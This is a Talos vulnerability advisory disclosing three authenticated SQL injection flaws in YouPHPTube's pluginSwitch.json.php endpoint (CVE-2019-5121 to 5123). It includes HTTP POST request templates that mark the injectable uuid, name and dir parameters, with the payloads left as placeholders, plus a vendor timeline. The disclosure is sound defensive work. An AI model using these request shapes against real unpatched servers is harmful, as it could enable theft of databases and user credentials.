Talos Vulnerability Report

TALOS-2019-0911

YouPHPTube /objects/pluginSwitch.json.php Multiple SQL Injection Vulnerabilities

October 17, 2019
CVE Number

CVE-2019-5121 - CVE-2019-5123

Summary

Exploitable SQL injection vulnerabilities exists in the authenticated part of YouPHPTube 7.6. Specially crafted web requests can cause SQL injections. An attacker can send a web request with parameters containing SQL injection attacks to trigger this vulnerability, potentially allowing exfiltration of the database, user credentials and,in certain configuration, access the underlying operating system.

Tested Versions

YouPHPTube 6.2
YouPHPTube 7.6
YouPHPTube 7.7 commit 64d35de96e43c5e5b3d582162c12b86eec7e986b (Oct 1st 2019)

Product URLs

https://www.youphptube.com/

CVSSv3 Score

7.4 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L

CWE

CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

Details

SQL injections have been found and confirmed within YouPHPTube 7.6. A successful attack could allow an attacker to access information such as usernames and password hashes that are stored in the database.

The /objects/pluginSwitch.json.php URL and parameters uuid, name and dir have been confirmed to suffer from SQL injections and could be exploited by authenticated attackers:

CVE-2019-5121 - Parameter uuid in /objects/pluginSwitch.json.php:

POST /YouPHPTube/objects/pluginSwitch.json.php HTTP/1.1
Host: [HOSTNAME].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 82
DNT: 1
Connection: close
Referer: http://[HOSTNAME].com/YouPHPTube/plugins
Cookie: PHPSESSID=[SESSIONID]; rememberme=1; user=admin; pass=[COOKIE]; autoplay=true

uuid=[SQL Injection]&name=AD_Server&dir=AD_Server&enable=true

CVE-2019-5122 - Parameter name in /objects/pluginSwitch.json.php:

POST /YouPHPTube/objects/pluginSwitch.json.php HTTP/1.1
Host: [HOSTNAME].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 82
DNT: 1
Connection: close
Referer: http://[HOSTNAME].com/YouPHPTube/plugins
Cookie: PHPSESSID=[SESSIONID]; rememberme=1; user=admin; pass=[COOKIE]; autoplay=true

uuid=[UID]&name=[SQL Injection]&dir=AD_Server&enable=true

CVE-2019-5123 - Parameter dir in /objects/pluginSwitch.json.php:

POST /YouPHPTube/objects/pluginSwitch.json.php HTTP/1.1
Host: [HOSTNAME].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 82
DNT: 1
Connection: close
Referer: http://[HOSTNAME].com/YouPHPTube/plugins
Cookie: PHPSESSID=[SESSIONID]; rememberme=1; user=admin; pass=[COOKIE]; autoplay=true

uuid=[UID]&name=AD_Server&dir=AD_Server[SQL Injection]&enable=true

Timeline

2019-09-19 - Vendor Disclosure
2019-10-16 - Vendor Patched
2019-10-17 - Public Release

Credit

Discovered by Yuri Kramarz of Security Advisory EMEAR.

TALOS-2019-0917

TALOS-2019-0910